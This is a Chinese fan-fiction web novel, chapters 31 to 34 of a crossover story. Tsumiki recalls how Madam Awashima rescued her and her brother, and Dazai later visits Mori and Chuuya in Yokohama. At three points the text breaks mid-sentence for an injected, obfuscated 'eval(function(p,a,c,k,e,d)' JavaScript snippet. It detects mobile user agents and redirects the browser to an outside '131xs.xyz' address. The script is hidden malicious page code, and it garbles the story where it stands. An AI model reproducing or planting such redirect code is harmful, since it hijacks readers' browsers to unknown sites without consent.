“以前在米花的时候,诸伏警官偶尔会借着工作的机会来看莉帕。不过现在搬去了横滨,诸伏警官工作忙走不开,有段时间没有去探望过莉帕了,所以妈妈今天才想带着莉帕前去拜访吧。” 太宰治眯起眼睛追问:“寄住?为什么?她不是淡岛夫人的亲女儿吗?为什么不和淡岛夫人住在一起?” 津美纪怔住了,回答不上来。 是啊,为什么呢? 她沉思了许久,只觉得思绪凌乱像一团乱麻,什么也想不清楚。 半晌,她突然动了起来。 太宰治看她若无其事地去厨房切水果,歪了歪脑袋说:“津美纪,你还没有回答我。” “嗯?什么?”津美纪很疑惑,“治刚刚有问什么问题吗?” 太宰治沉默了一会儿,阴影自眼底一闪而过,然后他突然笑了。 “不,我什么也没问。” 他向旁边一趴,卧在了沙发上,饶有兴致地对津美纪说:“呐,津美纪,跟我讲讲你和淡岛夫人是怎么认识的吧。” “我吗?”津美纪有些意外,不过还是满足了他这个心血来潮的要求,“嗯,好吧……从哪里讲起呢?” 或许,应该从那次搬家讲起。 31.第 31 章 在津美纪很小的时候,妈妈和一个叫甚尔的男人再婚了,她多了一个爸爸和一个弟弟。 又或者只是多了一个弟弟。 因为在她有限的记忆里,找不出太多和那个男人相处的画面。 再婚后,他们一家搬到了埼玉县,一个四季分明的地方。搬进新家的那天,院落里鲜花盛开。 那时候,他们是有过一段快乐时光的。尽管继父经常不着家,但是她和弟弟还有妈妈三个人也能把家维持得很好。 在她家的不远处,街道的转角,有一座造型古朴的宅院。院墙很高,院门一直紧闭着,看不清里面的景象。 但是津美纪对那座宅邸充满好奇,因为它从外面看起来真的很漂亮。 宅院灰白色的外墙上爬满了粉白相间的三角梅,微风拂过,花瓣就齐齐舞动。绕着宅邸步行一周,可以看到院落的四角都种了一棵高大的树木。 幼小的津美纪认不出那是什么树,因为它不开花也不结果。那些花和树长得郁郁葱葱,枝条也修剪得错落有致极具美感,应该是有人精心照料的。 但津美纪从来没见到过人影。 很长一段时间里,她都会在晚饭后偷偷溜出家门,在那座宅院前久久驻足,欣赏那些生机勃勃的小生命。 她曾经向附近居住的婆婆问过,街角的宅子里住的是什么人呢。 “淡岛家啊,住了一个年轻的未亡人。”婆婆的话中带着一点唏嘘和一丝古怪。 津美纪不懂什么叫“未亡人”,她想不明白,也就很快不再想了,继续自己的赏花日常。 然而随着时间流逝,树叶枯黄,寒风侵袭,那一墙的三叶梅开始凋落,她那段温馨的回忆也走到了尽头。 不知从什么时候开始,妈妈离家的时间也越来越长了。 家中开始出现各种华贵的衣服和包包,妈妈频繁地穿着它们出门,然后在深夜里带着酒气回家。 她没有忘记自己的两个孩子,每次出门前都会给他们准备好一天的食物。 但是要养好两个三四岁的孩子,只提供吃穿是不够的。 津美纪妈妈不知道这个道理,也或许她知道,那都不重要了。 在一个外面下着小雪的夜里,伏黑惠发烧了,烧得很严重。 这个年纪的小孩子娇弱得很,或许是白天吃到了凉食,或许是吹到了冷风,总之津美纪发现的时候,他已经烧得失去了意识。 她祈祷着推开妈妈卧室的门,里面空空荡荡。 妈妈没有回来。 外面的雪还在下,她连敲了三四个邻居的院门都没有人出来。如此寒冷的冬夜,大家都早早地睡下了。 回到屋内,费力地将弟弟抱下床,给他穿上厚厚的衣服,背起他出了门。 她记得一条街外有一家诊所,希望现在还开着门。 覆着雪的路格外难走,何况她还背着一个对她而言并不轻的弟弟。平坦的路,津美纪走得深一脚浅一脚。 平时不长的路今夜变得格外遥远,脚下一滑,她重重地摔倒在地。因为双手用来扶住背上的弟弟,她摔倒时没有支撑,额头磕在了地上,鼻子也火辣辣地疼。 冷风让她憋回了眼底的眼泪,尝试着爬起来,但是负重和疼痛让她根本做不到。 淡岛夫人就是在那个时候出现的,撑着宽大的纸伞,身着浅色和服,像志怪故事中的美艳妖怪。 原谅她当时奇怪的联想,但是真的很像。 降雪的黑夜里,空无一人的街道中央撑着伞的女人,飘动的白色衣摆,和雪白皮肤上猩红的唇。 ……是妖怪。 津美纪趴在地上害怕地抖了抖,不敢出声。 可是,惠还发着烧。 也许,也许妖怪小姐不是坏妖怪,也许愿意帮她…… 在她挣扎着鼓起勇气开口之前,女人先走了过来,伸出手掌把她从地上扶起。温润的掌心在脸颊上擦过,是热的。 不是妖怪。 “是你啊,”女人柔声开口,“这么晚了,为什么出门呢?” 来不及思考女人的话,她像抓住救命稻草一样将惠抱到身前:“惠,惠发烧了。” 女人接过她怀里小小的男孩,瞪大了双眼。 津美纪发誓在那双眼睛里看到了无措和困惑。 女人困扰地皱起了眉头:“那个……发烧……啊,要吃退烧药。” 津美纪使劲摇头,惠烧得很严重,光吃药解决不了问题。 “姐姐,求求你帮我把弟弟送到诊所好吗?我可以付钱的!我有钱!” 她从兜里掏出一把零钱,面色紧张,生怕女人拒绝。 女人拍了拍她的头说:“好啊。” 于是,在淡岛夫人的帮助下,弟弟很幸运地没有在那个冬天被烧成一个傻子。 在那之后,津美纪见到淡岛夫人的次数突然多了起来。 经常飘雪的寒冬,大家都不乐意出门的季节,她反而常常出现在院门边,倚着墙壁仰望天空。 妈妈回来的次数越来越少了,也不再给他们做饭,只是每次出门前在鞋柜上留一大把零钱。 津美纪去买便当的路上要路过那座宅院的门口,女人每次都会笑着蹲下身摸摸她的头,偶尔还会从袖子里掏出几颗软糖。 有一次,温柔的掌心拂过头顶,津美纪突然想起了什么,问她:“姐姐,那天你说‘是你啊’是什么意思?你认得我吗?” 女人回答道:“是啊,我认得你。每天晚上你都会来我家门前看花。” 津美纪红了脸,原来她的所作所为都被主人家看在眼里。 顺理成章的,津美纪和她在一次次遇见中熟悉了起来。 女人总是很神秘,不会谈太多关于自己的事情。 晴朗的日子里,她就倚在院门边晒太阳。 飘雪的日子里,她就撑着伞看天空飘落的雪花。 不过偶尔,她也会动一动她为数不多的好奇心。 “为什么总是你去买菜?你们的爸妈呢?” 津美纪扣了扣衣角,低声说道:“爸爸妈妈在忙。” “这样吗……” 女人无意义地感慨了一声,又不说话了。 她与淡岛夫人的相识,并不是什么秘密,很快就传到了附近居住的婆婆耳朵里。 婆婆给他们送来一碗热乎乎的肉汤。 看着他们慢慢喝下后,婆婆一边收拾好自己带来的碗勺,一边责怪地说:“小惠的身体还没好全,总吃那些简单的东西怎么行呢?你们的妈妈又几天不回来了?太不像样了。” 津美纪不知道该说些什么,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853579|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能乖乖地道谢:“谢谢婆婆。” 婆婆将餐桌上空的便当盒装进垃圾袋,突兀地开口:“你是不是遇见淡岛家的那位了?” 淡岛家的……那位? 津美纪不明白为什么要用这么奇怪的称呼。 “婆婆也不想多管闲事,但是劝你们还是离她远点的好。那女人,是个怪人。” 然后,在婆婆口中,津美纪得知了淡岛夫人总是一个人的原因—— 在几年前的一个春天,街角的宅院被人买下了。经历了漫长又隆重的改建后,成为了一座气质古朴的大宅邸。 据说那是一个名门望族的少爷买下来的,打算当作自己成婚后的新房。 然而改建完成后,却迟迟没有动静。 直到一轮又一轮四季过去,一个漂亮的女人住了进来。 那个女人很年轻,却经常做一副成熟的打扮。喜欢穿浅色的和服,头发精致地盘起。 她不常出门,和附近的人也没有什么交流。 渐渐地人们都在传,她就是那少爷的妻子,婚后不久就克死了丈夫,然后带着丈夫留下的遗产住进了这座宅邸中。 那个少爷姓淡岛,人们叫她淡岛夫人,她听见了也没有反驳。 于是这个传言似乎也就被证实了。 淡岛夫人唯一广为人知的爱好是养花,她的院墙上一年四季都盛开着花朵。花朵的种类不仅随时节变换,也年年不同。 与已经疲于生活的大人不同,几乎附近的所有小孩都喜欢她生机盎然的院墙,他们常常到那里去嬉戏打闹,有时候也会偷偷折花带回家。 于是人们发现,她似乎也很喜欢孩子。 当院外传来孩子们叽叽喳喳的声音时,她就会将紧闭的院门打开一扇,然后坐在院子里看孩子们追逐打闹。 起初人们还对她抱有警惕,但是她只是静静地看着,从不迈出院门搭话,所以大家也就逐渐习惯了。 原本这样的平静会一直持续下去,但在淡岛夫人搬来的第三年,发生了一件打破平衡的事。 经常来淡岛夫人宅院前玩耍的一个孩子失踪了,几天后他的尸体在远处的河中被发现。尸体是溺死的,但是身上有古怪的外伤,被发现时手里紧紧地握着一朵紫色的小花。 紫藤花,在并非花期的九月,整个街区除了淡岛家再没有别的人家中能盛开的花。 过往的种种似乎都成了怀疑的根据,在众人的指认下,淡岛夫人被带走调查了。 除了花朵和居民的怀疑,没有任何可以称得上是证据的东西,她很快就回到了家中。 遇难孩童的尸体被几个穿着黑衣服的人带走了,案件也稀里糊涂地结束,几乎没有人知道调查结果。 那孩子的家人在之后不久搬离了埼玉县,再也没有了消息。 所以案件和淡岛夫人到底有没有关系呢? 谁也不知道。 “但是啊,”人们说,“她新婚不久就克死丈夫继承了大笔遗产,现在又跟凶杀案扯上关系,肯定是有点古怪的。” 总之,在那之后,淡岛家的门前再也没有孩子的欢笑声了。 她自己肯定也能察觉到周围人对她态度的转变,更少出门了。 只有在夜里和寒风呼啸的冬季,才能偶尔在院门前见到她的身影…… 32.第 32 章 婆婆讲完这个故事就离开了,只留下伏黑姐弟在空荡荡的家里。 伏黑惠缩了缩身子,伸出小手抓住了姐姐的手指。 “惠?”津美纪用力回握回去,“别害怕,淡岛夫人才不是坏人!” 隔日起,津美纪再去买便当时,身后就开始多了一个小小的身影为她保驾护航。 几日后,雪天的傍晚,她们再次在院门前相遇了。 女人发现了她,温声同她打招呼:“晚上好,津美纪。” “晚上好,淡岛夫人。” 女人蹲下身,想象往常一样摸摸她的头。 但是从女孩身后冲出来一个小小的黑色身影拦住了她。 小小的男孩有着毛茸茸的炸起的黑发,深蓝色的眼睛透着倔强,目光警惕,像一只小狼崽。 于是女人的手就顺势落在他头上,来回揉搓了两下,将本就炸起的头发揉得更加凌乱。 男孩呆住了,双手慢半拍地捂住自己的头顶,不许她碰。 女人浅笑一下,站起身,不再言语,像往常一样目送两人离开…… “之后很长一段时间里,我和惠就这样与她保持一个不远不近的距离,偶尔,她会递给我她做的饭团。” 回忆起曾经的日子,津美纪忍不住笑了笑,“你有吃过妈妈做的食物吗?当初她送给我们的食物,老实说,难吃死了。我那时一直在想,她做饭这么难吃,她自己吃得下吗?后来一起生活,我发现她自己也吃不下,每次只吃一点点,所以有没有可能她当时送我们的食物是她吃不下的剩饭呢?” 太宰治接话:“哎~淡岛夫人好过分。” 津美纪:“啊,不好意思,有些跑题了。再后来,妈妈——我是说,我的妈妈——彻底离开了,什么也没留下。” “后来妈妈收养了我们。” 太宰治:……中间是不是跳过了什么重要过程? “之后在我国中毕业的时候,我们搬来了米花。再然后就是你知道的,妈妈因为觉得米花命案太多,所以又搬去了横滨。” 讲完了这个一点也不详略得当的故事,津美纪笑着说道:“我一直觉得,我和惠特别幸运,才能在那个冬天遇到她。尽管她一点也不懂怎么养孩子。” “不过也能理解,她那么年轻,哪里会养孩子呢?所以如果妈妈哪里做得不好,要请治多多包涵了。” 太宰治冷酷地指出:“可是在我之前她已经养过三个孩子了。” 津美纪羞涩:“你知道的,她从小就没干过活……” 太宰治:“……” 懂了,都是你们给惯出来的。所以你们现在是指望我养她吗? 不过,这个故事确实很有意思。 伏黑津美纪遇见淡岛夫人是在四岁的时候,她今年十六岁,两人结识了十二年。 而莉帕今年七岁,上小学一年级。 抛开莉帕生父是谁的问题,淡岛夫人是在一年多以前来到的米花,在此之前两人毫无交集,而津美纪似乎对此毫无察觉。 那么问题出现在谁身上呢? 是洗脑?还是催眠? 看来这个家的每个人都有自己的秘密啊,太宰治想。 看来津美纪果然很爱我这个妈妈啊!淡岛青理想。 是的,淡岛青理也在场! 在津美纪的故事讲到一半的时候,她就已经回来了。 只是,那边的情绪氛围都已经铺垫到那里了。自认为是个从不扫兴的好妈妈的淡岛青理,为了不打断津美纪的故事,静悄悄在门边听完了全程。 老实说,还是一个蛮有意思的体验。 这是第一次,从津美纪的视角回顾她们的相遇。她真的非常高兴,津美纪都记得,记得她们相见的每个瞬间。 不过,如果她在津美纪故事里的形象不是一个英年丧夫的忧郁俏寡妇就更好了! 是谁?! 到底是谁在造她的谣啊?! 就是说有没有一种可能,她不反驳的原因是她本来就姓淡岛啊混蛋! 难怪那时候她明明没做过自我介绍也没挂过姓名牌,别人却知道她的姓氏,原来知道的不是她的姓啊?! 淡岛青理越想越气越想越气,她的纯洁,她的英名,她美好的品质都消失了,她在心里破口大骂。 沙发上的太宰治似乎感受到了一股不知来由的怒意,坐起来四下看了看却没见到人影。 在太宰治回头的瞬间消失在原地,淡岛青理出现在工藤宅门口按响了门铃。此时已经是傍晚了,她来接太宰治回横滨。 津美纪开门之后她还向内张望了一下,想看看那个冲矢昴在不在。 津美纪洞察了她的意图:“昴先生今天不在家。” 淡岛青理遗憾地收回了目光。她正打算带着太宰和莉帕离开,银发萝莉却迟迟不肯走。 “津美纪,我记得你有一个圆滚滚的青蛙玩偶,可以送给我吗?我想要。” 津美纪愣了一下,“当然可以,莉帕来跟我拿吧。” 于是,淡岛清理和太宰治在玄关处等待,莉帕跟着津美纪一起上了楼。 “莉帕是不喜欢珍妮了吗?她会伤心的哦。”少女一边上楼一边随意开着玩笑。莉帕有很多玩偶,但是最喜欢的一直是那只白色的兔子珍妮,还是第一次见莉帕对别的玩偶表示出兴趣。 “才不是,我最喜欢珍妮了。”莉帕坚定地回答。 “那莉帕打算给青蛙先生取什么名字呢?” 玩偶都放在卧室里,说话间她们已经来到了卧室门口,她一只手拧动门把手将门推开一条缝隙。 “津美纪。”莉帕突然叫了她一声。 少女低头,发现银发萝莉正用一双金色的圆眼睛认真地望着自己,巴掌大的小脸上写满严肃,“把你的手机给我。” 少女的动作停顿了一下,然后关上了已经打开的卧室门。 “怎么了吗,莉帕?是突然想玩游戏了吗?”她在女孩面前蹲下身,轻声细语地询问。 莉帕看着她和青理如出一辙的无辜笑脸,头疼地按了按太阳穴,“津美纪,把东西删掉。” 空气安静了两秒,伏黑津美纪攥紧了手机,略显茫然地说:“抱歉莉帕,我好像听不明白。是要我删掉什么东西呢?” 少女的目光那样清澈,莉帕原本准备好的训斥都说不出口了,她想了又想,最后只能不轻不重地说:“东西我会叫人删掉的,不准再做这种事了。” 说完,她也没再去看少女的反应,赶紧迈着小短腿跑下了楼,生怕多留一秒自己会感觉到内疚。 只留下津美纪望着她的背影,用力掐住了掌心。 在东京的某处建筑内,一头银色长发的高大男人站在黑暗里,手机屏幕的亮光照亮了他如狼一般凶厉的脸庞。 他掐掉手里的烟,对身旁的人说:“给朗姆打电话,把暗网上那则关于横滨黑手党的悬赏撤掉,尾巴扫干净。” …… 在离开米花的路上,淡岛青理一直神经兮兮地怀疑这辆列车上会不会被装了炸弹,直到下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864192|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车脚踩在横滨的土地上才松了一口气。 太宰治:“在你看来米花比横滨还危险吗?” 淡岛青理露出沉痛的表情:“太宰你不懂。在横滨,只要你躲着黑手党走就没什么事,但是在米花,你连呼吸都要小心翼翼。” 太宰治确实不懂,并且认为她在夸大其词。 在米花度过了惊心动魄的三天,几人都略感疲惫。回到家里的第一件事就是洗个澡然后休息。 俗话说,金窝银窝不如自己的狗窝,回家的第一晚淡岛青理睡得格外踏实。 · 【神社的樱花树绽放了。 男孩以为,那棵树应该早就枯死了才对,没想到今年竟然生出了嫩芽,开出了花。 神社里那个突然出现的女人已经待了三年之久,久到母亲都已经给他新添了两个弟弟。 推开腐朽的木门,女人仍然闭着眼倚靠在墙边,头部的伤口已经逐渐愈合。他照例和女人拌了几句嘴,然后吃已经凉了的饭菜。 女人依旧注意到了他身上的血腥味。 “怎么弄的?” 抬手摸了摸头顶被弟弟砸出来的伤口,男孩垂眸:“摔的。” “你是废物吗?”不走心的借口被女人识破,“谁打的就打回去。” 说得着实轻巧,男孩面无表情地想。最受母亲疼爱的弟弟,即使是再砸他几下,他又能怎么办呢? 女人等了一会儿,没有听到男孩的回答。 “……笨死了,话都不会说的小鬼。你在外面也是这副死气沉沉样子吗?难怪会被欺负。” 死气沉沉?倒是从来没有人用这个词形容过他。 男孩嘴角勾起一个完美的弧度,动作娴熟,就像做了千百遍。他用甜腻的声音说:“怎么会呢?我这么可爱,当然是哥哥姐姐们的开心果啊。” 木讷与机敏,有什么区别呢? 即使再巧舌如簧,也只能装乖扮丑讨几声笑而已。 笑过了挥挥手,他又是无人问津的角落里发霉的苹果。想起来就被人滚动几下做个玩意儿,想不起来就一个人暗自腐烂。 旁人的喜怒哀乐与他并无瓜葛,他看不懂,也猜不透。 收起虚假的微笑,男孩动作机械地继续吃着饭菜,却听得女人说—— “笑得难看死了。” 男孩的动作僵住了。 他慢慢转头,见女人扶着墙站了起来,睁开的双眸中,深灰色的眼瞳褪去了曾经的晦暗。 “……啊,是吗?你已经恢复了啊。” 时间过得真快啊。 半晌,男孩放下手里的餐盒端坐在地,安静地仰起头露出白皙的颈部。 “那么,你要杀了我吗?” 女人说过的,恢复之后第一个要杀的人就是他。 也好,这吵闹又无味的日子,已经不想再继续下去了。 女人望了他一会儿,慢慢抬起了手。 男孩安静地闭上了眼睛。 可是他没有等来预想中的死亡,他听见女人嗤笑一声:“胆小鬼。” 睁开眼,一把黑色的匕首悬停在他面前。 “送你了,别随随便便被欺负死了。” 匕首落入他张开的双手中,他呆呆地凝望了许久,然后意识到了什么。 “……你要去哪?” 女人回答:“随便去哪,要你管?” 男孩眨了眨眼睛,在女人自他身边走过时伸手拽住了她的裙摆。 “带我一起走吧。” 】 33.第 33 章 第二日一早,太宰治下楼的时候淡岛青理正在厨房忙碌,见他要出门,连忙从厨房探出头来。 “太宰要去哪?” 太宰治动作顿了一下,漫不经心地说:“出门啊。” 淡岛青理看透一切,可怜巴巴地说:“是去森先生那里吗?” 太宰治没回答,就当默认了。 “那中午还回来吃饭吗?” “……不回来。” “那晚上呢?” 太宰治:“……”感觉回答“不”的话她还要问明天,后天。 淡岛青理见他不说话,从厨房里拿出了一个打包好的超大便当盒。 “既然中午不回来吃的话,那就把便当带上吧。好好吃饭,不然会长不高的。”森鸥外懂什么养孩子啊?太宰猫猫跟着他肯定风餐露宿,吃不饱穿不暖的。 巨大的便当盒用粉色带碎花的布包裹着,上面还打了一个有两只耳朵的结。 见太宰治沉默,淡岛青理以为他是不想吃自己做的东西,于是连忙解释:“是莉帕陪我一起做的,绝对不是黑暗料理!” 太宰治仍然没有反应,淡岛青理就一直维持着递出的姿势。 终于,太宰治还是接过了便当。 淡岛青理眼睛一亮。 太宰治提着便当盒向外走了两步,又被淡岛青理叫住了。 “太宰,还有这盒牛奶别忘了,津美纪说你要多喝牛奶才行。” 拿着便当和牛奶走了两步,又被叫住了。 “太宰,还有新绷带,你脖子上的绷带要记得换。” 拿着便当牛奶和绷带走了两步,又被叫住了。 “太宰,今天有雨,要带上雨伞。” 太宰治拿着便当牛奶绷带和雨伞走了两步,然后猛地一回头。 淡岛青理尴尬地放下抬起的手,说:“你怎么知道我要叫你?” 太宰治:“……你有话就直说好吗?” 他要拿不动了。 淡岛青理扭捏:“那个,太宰是不喜欢我买的衣服吗?” 忘记了从哪一天起,太宰治穿的衣服都变成了黑色的。 然而淡岛青理从来不会给太宰治买黑色。 好烦,太宰治不耐烦地想。穿什么衣服很重要吗? 他皱起眉头,一抬头却望进了女人开始积攒泪花的双眼。 “……” 最终,太宰治穿着一身浅色衣服,提着一堆东西大包小包地走出了家门,身后还远远传来淡岛青理的呼喊声:“记得晚上回家吃饭!不要打架!小心人贩子!遇见危险记得要喊妈妈救命!” 诊所里,森鸥外结束了一台手术,让人把刚接上胳膊的患者带走,还没等他坐下来喝完一杯咖啡,诊所的门就又被推开了。 门口的少年穿了一件蓝白相间的条纹衬衫和灰色长裤,外罩一件米色西装外套,手里提了一二三四五六七件东西,微长的刘海处还被别了一枚棕红色X形发卡。 这副打扮惊得爱丽丝手里的蜡笔都掉了! 不是,你谁啊?! 啊?这是什么阴暗批爆改邻家美少年啊?! 森鸥外看着这一身充满个人风格的打扮,默默放下了手里的杯子,半晌苦笑了一下:“这可真是……”意料之外。 太宰治倒是泰然自若,仿佛没有注意到他们异样的目光,将东西随便一放就找了张椅子窝了上去。 淡岛夫人是在便当盒里塞石头了吗?为什么那么重? “看来太宰君这几天过得还不错?”森鸥外试探着发问,试图搞清楚发生了什么才让结果与他的预期大相径庭。 “托森先生的福,有趣极了。”太宰治睁开一只眼睛,眼底带着冷意。 状况不太妙啊,森鸥外暗自警惕。 曾经的森鸥外并不介意让太宰治知道自己的所作所为,那是因为他笃信除了自己这里太宰治将无处可去。然而此一时彼一时,现在的森鸥外明白识时务者为俊杰,必须安抚好太宰治才行。 他苦笑了一声说:“抱歉太宰君,我没想到会给淡岛夫人带来这么大的麻烦,是我的疏忽,我会看好那些人不让他们再去打扰淡岛夫人的。” 对于他的说法,太宰治也没说信或不信,只是又一次闭上眼睛窝在椅子里睡着了。相比于昨晚睡得昏天黑地的淡岛青理,他昨晚睡得并不安稳。 时隔多日再次躺在柔软的床铺上,闻着新换的床单散发的柠檬洗衣液的味道,他感到的不是怀念而是不安。一闭上眼,淡岛青理拿着枪的样子,和她惨白着脸说自己杀人了的场景交错出现,来回往复。 此时,闻着诊所里消毒水的味道和还没散去的血腥味,他抛却脑中的杂念,悄然入睡…… 再次恢复意识的时候,他是被森鸥外的开门声吵醒的。他睡得太沉,连森鸥外什么时候去了一趟港口黑手党都不知道、 森鸥外带进来了一阵湿气,他收拢雨伞说:“吵醒你了吗?真是抱歉,太宰君。” 室内光线昏暗,窗户处传来噼里啪啦的声音。 外面下雨了。 看了一眼时钟,太宰治后知后觉地发现自己一觉睡到了下午,肚子正在咕噜噜地抗议。 爱丽丝不知道从哪里冒了出来:“林太郎,我饿了。” 森鸥外只能苦笑着说:“那今天还是吃泡面?” 事实证明淡岛青理的担忧很有道理,森鸥外不仅养不好孩子,自己的生活也是一团糟。熬夜通宵都是常态,三餐也是能不吃就不吃,实在不行就泡面对付。所以尽管他长了张还不错的脸,但终日挂着两个黑眼圈,一脸颓废,一副邋遢的中年大叔样。 也不知道森鸥外一个首领面前的大红人为什么混得天天吃泡面,反正太宰治不想吃了。他拆开淡岛青理给他准备的便当,愣了一下。 布料包裹着的不是预想中的超大便当盒,而是大小不一的三个便当盒,每个盒子上还写着名字。 森鸥外一直注视着他的动作,此时一眼看到了最大的那个便当盒上自己的名字,他沉默了。 怎么回事?感觉自己不存在的良心痛了一下。 …… 所谓吃人嘴软,拿人手短。 接下来的日子里,淡岛青理致力于从生活的方方面面腐蚀森鸥外。 ——我都对你这么好了,你不会还要拐我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869618|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子吧? 不仅每次给太宰治带的便当都有三人份,偶尔给莉帕买衣服的时候,还会顺带给爱丽丝买几件让太宰治带过去(虽然每次都被太宰治在半路上扔掉了)。 一个多月下来,不仅太宰治被养得健健康康,连森鸥外都胖了一圈且气色明显好了起来。 唯有莉帕最为不满,她对爱丽丝深恶痛绝。 “那个姓森的是变态,你也是吗?” 淡岛青理可怜巴巴地说:“森先生也没那么差劲啦。” 莉帕瞪大眼睛:“你竟然还为他说话?!你不会是喜欢那个邋遢大叔吧?” 淡岛青理迅速划清界限:“森鸥外确实很变态。” 莉帕满意了。 从米花回来后,淡岛青理一改之前听之任之的态度,积极争取起了太宰治的抚养权,莉帕对此十分欣慰。所以对于一直没放弃撬墙脚的森鸥外,莉帕看着是百般不爽。 港口黑手党的老首领好像病得不轻,近来脾气愈发暴躁了。听说现在正在满大街抓捕红色头发的小孩,只因为一个红发孩子在他的车上进行了涂鸦。 现在街上人心惶惶,淡岛青理最近都不怎么愿意出门了。可是今天她必须出去,因为住对面的上原夫人告诉她,今天超市的鸡蛋三折! 三折哎!我也不想买的,可是它三折哎!淡岛青理提上帆布包,斗志昂扬! 莉帕:……倒也没必要融入人类到这个地步吧? 总之,淡岛青理留下她自己出门了。 天气已经彻底暖和起来,黑手党的活动也随之变多了。 这一路上,淡岛青理绕过两个火拼现场,躲过三颗流弹,终于安全地到达了目的地。 推开超市的玻璃门,她直奔特价区而去。 在一场酣畅淋漓的抢购后,淡岛青理满意地挤出了人堆。 旁边的大妈看向她的目光里满是惊叹。好家伙,头发都没乱,横滨这小小的弹丸之地竟有如此高手。 淡岛青理在众人崇拜的目光中淡定离去,深藏功与名。 回程的路上遇见了一家甜品店,她正想要进去买点甜品,却见几个黑衣人踹门走了进去,不一会儿里面就传来打砸声。 港口黑手党内部一片混乱,其他黑手党也没好到哪去,局势动荡之下自然少不了浑水摸鱼的人。已经记不清这条街是这个月第几次遭收保护费了。 淡岛青理可惜了一下没吃到嘴的甜品,转身就要绕开这里。 此时店内却不知道起了什么冲突,一名甜品店的店员踉踉跄跄地冲到街上,身后是此起彼伏的枪声。 淡岛青理后退两步,并不想管闲事,然而一道黑影却向她袭来。她急忙侧身躲过,那东西擦身砸在了地上,原来是一把面包刀。 淡岛青理正要松口气,却感觉手里一轻,接着就是哗啦一声。 她瞪大眼睛低头一看,只见手提袋的带子被划断了,袋子里辛苦抢购来的鸡蛋都砸在地上,变成了黄澄澄黏糊糊的一滩。 “……” 碎掉的不是鸡蛋,是她的劳动成果! 岂有此理!淡岛青理非常生气,并决定上前去讨个说法。 34.第 34 章 逃出来的甜品店店员已经跑远了,但店里还有打斗的声音。 淡岛青理刚走到店门边,就见几个黑影冲她砸了过来。 又来? 她再次侧身躲过,那几道黑影哀嚎着砸在地上,仔细一看原来是那些收保护费的黑手党。 店里,一个橘色头发的少年放下腿,语气凶厉地说:“滚。” 那些黑手党连忙连滚带爬地逃走了,同时,淡岛青理迈进店里的脚也收回来了。 将来收保护费的黑手党暴揍了一遍,中原中也回过神注意到她的动作,怔了一下,语气陡然缓和了下来:“不是在说你。” 他看着眼前柔弱的女人,烦躁地抓了抓头发,“买东西吗?不好意思,今天不能营业了。”虽然刚刚他有意控制力道,但黑手党可不在乎那些,现在店里一片狼藉。 淡岛青理打量了一下他身上的围裙,犹豫着发问:“你……是在这里打工吗?” 如果她没记错的话,现在的中原中也应该是那什么“羊”组织的首领吧?怎么会穿着小熊围裙在甜品店打工? 中原中也被她看的莫名其妙。不然呢?打劫吗? “你有什么事吗?没事的话就赶紧离开吧。”最近这片街区越来越混乱了,她一个年轻女性怎么还独自在外乱晃? 女人似乎看出了他的不耐烦,有些瑟缩,但还是鼓起勇气说:“你刚才扔的刀把我的鸡蛋打破了。” “哈?”听闻她的理由,中原中也大为不解,“你是笨蛋吗?” 刚刚这里一片枪声这人是没听见吗?竟然还敢过来,就为了一袋鸡蛋? 淡岛青理大为震惊,中原中也竟然用这种语气和她说话!好小子,原来你还看人下菜碟! 她突然就理直气壮了起来,伸手一指路面上的鸡蛋:“我不管,你赔我。” 顺着她手指的方向望去,中原中也看见了黄澄澄的一片黏液以及自己扔出去的面包刀,气势瞬间弱了下来。 中原中也是一个武力值超高,但良心也超强的人。此时意识到自己确实给别人造成了麻烦,也只能想办法赔偿。 可是他才刚来这家甜品店打工不到一周,一分钱工资都没拿到手。虽然他身上还有一些钱,但那些是他准备的“羊”未来的资金。 他啧了一下,小声说:“知道了,会赔你的,不过要等我发工资之后。” 淡岛青理打量着一片狼藉的店面,沉思过后说:“店铺变成这个样子,店长真的还会给你发工资吗?” 中原中也僵住了。 “如果店长不是个宽宏大量的,那你需要赔给店长的钱应该比赔给我的要多吧?” 中原中也:“……” “而且你跟黑手党起了冲突,他们一会儿怕不是会找你寻仇,你这个工作也做不下去了吧?” 中原中也沉默半晌,长叹口气,将身上的钱都放在柜台里,脱下围裙走出了店门,“……你说得对,不能连累了店长。” 从商业街离开,中原中也双手插兜,漫无目的地走在路上,身后的脚步声亦步亦趋。 他无奈地回头对跟上来的女人说:“你也看到了,我现在一分钱都没有,赔不了你的鸡蛋,别跟着我了。” 淡岛青理补充:“还有精神损失费,你差点就伤到我了。” 中原中也感觉自己被讹了,但是对方有理有据。 “……等我有钱会赔你的。” “真的吗?”女人表示质疑,“但你现在连工作都没有了。” 